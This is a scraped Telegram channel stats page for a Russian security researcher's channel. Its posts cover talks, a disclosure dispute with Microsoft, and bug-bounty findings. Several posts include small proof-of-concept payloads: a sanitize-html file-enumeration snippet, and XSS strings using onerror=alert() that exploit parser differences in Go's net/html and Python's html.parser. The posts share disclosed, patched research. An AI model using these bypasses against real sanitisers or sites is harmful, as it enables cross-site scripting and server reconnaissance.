Заметки Слонсера
Kanalga Telegram’da o‘tish
1 565
Obunachilar
-124 soatlar
+97 kunlar
+3030 kunlar
Ma'lumot yuklanmoqda...
O'xshash kanallar
Taglar buluti
Ma'lumot yo'q
Muammo bormi? Iltimos, sahifani yangilang yoki bizning qo'llab-quvvatlash boshqaruvchimizga murojaat qiling>.
Kirish va chiqish esdaliklari
---
---
---
---
---
---
Obunachilarni jalb qilish
Dekabr '24
Dekabr '24
+102
2 kanalda
Noyabr '240
1 kanalda
Get PRO
Oktabr '240
0 kanalda
Get PRO
Sentabr '24
+38
0 kanalda
Get PRO
Avgust '24
+30
0 kanalda
Get PRO
Iyul '24
+58
0 kanalda
Get PRO
Iyun '24
+104
3 kanalda
Get PRO
May '24
+80
4 kanalda
Get PRO
Aprel '24
+54
0 kanalda
Get PRO
Mart '24
+109
3 kanalda
Get PRO
Fevral '24
+176
5 kanalda
Get PRO
Yanvar '24
+1 024
9 kanalda
| Sana | Obunachilarni jalb qilish | Esdaliklar | Kanallar | |
| 20 Dekabr | +2 | |||
| 19 Dekabr | +1 | |||
| 18 Dekabr | 0 | |||
| 17 Dekabr | +3 | |||
| 16 Dekabr | +2 | |||
| 15 Dekabr | +4 | |||
| 14 Dekabr | 0 | |||
| 13 Dekabr | 0 | |||
| 12 Dekabr | +1 | |||
| 11 Dekabr | +12 | |||
| 10 Dekabr | +1 |
Kanal postlari
Я пропал на месяц и наверное многим будет интересно что происходило:
На прошедшей конференции PHD2 я сделал доклад, в котором осветил уязвимости в C# и сервисах Microsoft. Многих заинтересовал вопрос, почему я не связался с Microsoft по этому поводу. Отвечаю: я связывался, но, к сожалению, они просто закрыли мои тикеты без объяснения причин.
Уже после доклада на PHD2 я обнаружил новую технику, позволяющую отправлять письма от любого user@domain. И снова мои попытки связаться с Microsoft оказались безуспешными.
Тогда я написал об этом в X(запрещенная на территории Российской Федерации социальная сеть). Пост набрал уже 120 тысяч просмотров и привлёк внимание таких изданий, как Forbes и TechCrunch и многих других. Западные СМИ начали публиковать статьи о том, как Microsoft проигнорировали мои обращения.
После этого Microsoft переоткрыли тикет с последней уязвимостью и начали работу над патчем для уязвимости в C#, которая оставалась нерешённой с апреля.
Вышел замечательный прецедент, как общественное давление, сопровождаемое освещением в СМИ, смогло победить некомпетентность крупного вендора.
| 2 | https://blog.slonser.info/posts/email-attacks/
Читаем, преисполняемся
Что-то мб написано криво - пишите отвечу/поменяю текст | 1 447 |
| 3 | Жду всех через 20 минут -_- | 1 513 |
| 4 | Спустя месяц затишья готов анонсировать выступление на PHD2!
Вам письмо: старые новые атаки на почту
23 мая, 15:00 - 16:00
Киберфестиваль Positive Hack Days 2
Территория спортивного комплекса «Лужники»
Буду рад если вы прийдете
Буду выступать вместе https://t.me/hahacking, надеюсь будет очень интересно | 2 360 |
| 5 | Написал маленькую заметку про IPv6 Zone, существование которого многие игнорируют/не знают что это.
Очень специфичная штука, но возможно кому-то поможет найти тот самый баг.
https://blog.slonser.info/posts/ipv6-zones/ | 1 445 |
| 6 | Подал окончательно заявку PHD2.
Молимся, есть очень интересный (при этом простой) ресерч который хочется рассказать.
Ждем ответа... | 2 053 |
| 7 | Написал мини статью про популярную библиотеку node-mysql2
- RCE (в узком случае)
- Cache manipulation (в узком случае)
- Prototype Pollution (в узком случае)
- PP2RCE chain (в общем случае )
https://blog.slonser.info/posts/mysql2-attacker-configuration/ | 2 551 |
| 8 | Сейчас проснулся и увидел ужасные новости, пребываю в состоянии полного шока
Выражаю соболезнования всем пострадавшим, надеюсь вы и ваши близкие в безопасности
У меня был билет в Москву сегодня ночью, но я решил от него отказаться - чего советую и вам
Советую отказаться от посещения хоть каких-то людных мест.
Будьте бдительны, надеюсь с вами и вашими близкими все будет хорошо. | 3 042 |
| 9 | Недавно нашел bypass всем известной библиотеки DOMPurify в одном интересном случае
Сегодня вышли версии с исправлениями
Прочитать разбор можно тут | 5 357 |
| 10 | CVE-2024-21501
Недавно нашел прикольную уязвимость в пакете sanitize-html
В чем суть, в библиотеке часто вендора разрешают использовать атрибут style
Если она используется на бекенде - возможно энумерейтить файлы системы
const sanitizeHtml = require('sanitize-html');
const file_exist = <a style='background-image: url("/*# sourceMappingURL=./node_modules/sanitize-html/index.js */");'>@slonser_</a>;
const file_notexist = <a style='background-image: url("/*# sourceMappingURL=./node_modules/randomlibrary/index.js */");'>@slonser_</a>;
const file_exist_clean = sanitizeHtml(file_exist, {
allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})
const file_notexist_clean = sanitizeHtml(file_notexist, {
allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})
console.log(file_exist_clean, "// valid file path on backend")
console.log(file_notexist_clean, "// invalid file path on backend")
Для существующих и не существующих файлов - получим разные выводы ( в первом случае, тэг style будет отсутствовать)
Удобно для энумерации зависимостей node проекта. | 2 888 |
| 11 | Недавно нашел обход фильтрации тегов в golang.
Для строки <a/href/='https://google.com/#><img src=x onerror=alert()>slon</img></h1>'>google</a>, golang net/html увидит следующий DOM:
html
head
body
a
->href: https://google.com/#><img src=x onerror=alert()>slon</img></h1>
То есть он будет думать что у нас есть только ссылка на google.com
В тоже время в браузере вы увидите, что у нас загрузился тег <img> и всплыл popup alert
Баг существует в последней версии golang и будет исправлен в next релизе. | 7 294 |
| 12 | Уже в эти выходные моя команда проводит GoldCTF 2024.
Будет очень сложный Attack/Defence, приглашаю всех поучаствовать.
https://ctftime.org/event/2249 | 4 472 |
| 13 | Яндекс завел канал посвященный своему Bugbounty. Очень приятно, что люди реально использовали мою технику из доклада на Standoff Talks (кто-то даже в лс со мной советовался, всегда рад помочь)
В связи с этим хочу поднять вопрос о следующем запланированном докладе - Positive Hack Days 2
Один из вариантов - рассказать про анализ безопасности веб браузеров и всего что рядом с ними
( Есть ещё один вариант, но его пока оставлю в тайне )
Что бы конкретно вам хотелось обязательно услышать в контексте такого доклада? | 2 674 |
| 14 | Конкурс, посвящённый поиску XSS, завершён! ✅
За этот месяц мы получили от вас почти сотню XSS. Половину уже разобрали и резолюцию уже объявили, над второй половиной работаем :)
А пока что можем поделиться промежуточными результатами:
> Исследователи смогли найти способы, как добраться до httponly cookies.
> Сервис-воркеры снова в моде. Похоже, потому что о них недавно были доклады на ИБ-митапах.
> XSS на бескуковых доменах в совокупности с другими багами могут представлять вполне весомый импакт. Но подчеркнём: именно в совокупности.
> Если вы не следите за postMessage-«трафиком» (хотя бы таким расширением), то можете упустить приличную долю находок.
Спасибо всем участникам, ждём от вас новых отчётов! ⚪️ | 1 982 |
| 15 | История одной уязвимости в Chrome
Очень простая уязвимость, которую я нашел в Google Chrome. И за которую получил 16000$.
Попытался дать побольше контекста, чтобы увеличить пользу от прочтения материала.
Habr
Twitter
P.S. Лучшей благодарностью, если вам понравился материал - является его распространение. | 12 480 |
| 16 | 🗣 Всеволод Кокорин, SolidLab: То, что вы считаете критическим риском, может не представлять серьезной угрозы для бизнеса, и это нормально
Всеволод Кокорин (Slonser), исследователь информационной безопасности компании SolidLab, автор тг-канала «Заметки Слонсера», рассказал порталу Cyber Media о том, почему пентест — это творческая профессия, где и как искать критичные баги, а также о своем опыте в анализе защищенности. | 2 082 |
| 17 | Golang net/mail address spoofing
Позволяет подменить адрес отправителя/получателя в электронном письме
https://twitter.com/slonser_/status/1746036614508204260 | 2 354 |
| 18 | #quick #XSS
Многие забывают, что парсинг html на бекенде - довольно сложный процесс. Поэтому на уровне даже стандартных парсеров популярных языков программирования - он не реализован полностью
Рассмотрим код на python:
from html.parser import HTMLParser
class MyHTMLParser(HTMLParser):
def handle_starttag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")
def handle_endtag(self, tag):
pass
def handle_startendtag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")
def handle_data(self, data):
pass
html_string = input()
parser = MyHTMLParser()
parser.feed(html_string)
Этот код выводит теги и их атрибуты.
При этом стандартная библиотека питона не учитывает, что для тегов
"iframe", "noembed", "noframes", "noscript", "plaintext", "title", "textarea", "xmp"
Содержимое не обрабатывается как html теги
Соответственно при вводе:
<textarea><a href="x></textarea><img src=x onerror=alert()//">
Результат парсинга будет выглядеть следующим образом:
textarea
a
->href: x></textarea><img src=x onerror=alert()//
В то время как в браузере это будет выглядеть следующим образом:
<textarea><a href="x></textarea><img src="x" onerror="alert()//"">
И соответсвенно выведется alert()
Вещь баянистая, но многие про это забывают при той же эксплуатации Server Side XSS | 6 439 |
| 19 | Почистил канал и хочу его немного переформатировать
Мне встречается много прикольных уязвимости и приколов - хочу как то регулярнее о них рассказывать.
Если у вас есть прикольные референсы форматов - пришлите в комментарии ( буду благодарен )
Так же 25 числа заканчивается NDA на мой 0day в хроме, я думаю какой формат выбрать для публикации ( сейчас в планах просто грузануть на хабр ), если есть другие идеи реализации материала - предлагайте
Ну и для закрепа:
Кто я вообще такой?
- Slonser
- игрок команды С4T BuT S4D,
- сотрудник SolidLab,
- учащийся 2 курса университета ИТМО
- Гений, багбаунтер, пентестер и филантроп
Правила канала:
Правил нет, но если вы мне не понравитесь, я вас забаню. | 1 555 |
| 20 | Год начинается с репорта на 0day в net стеке голанга | 1 588 |
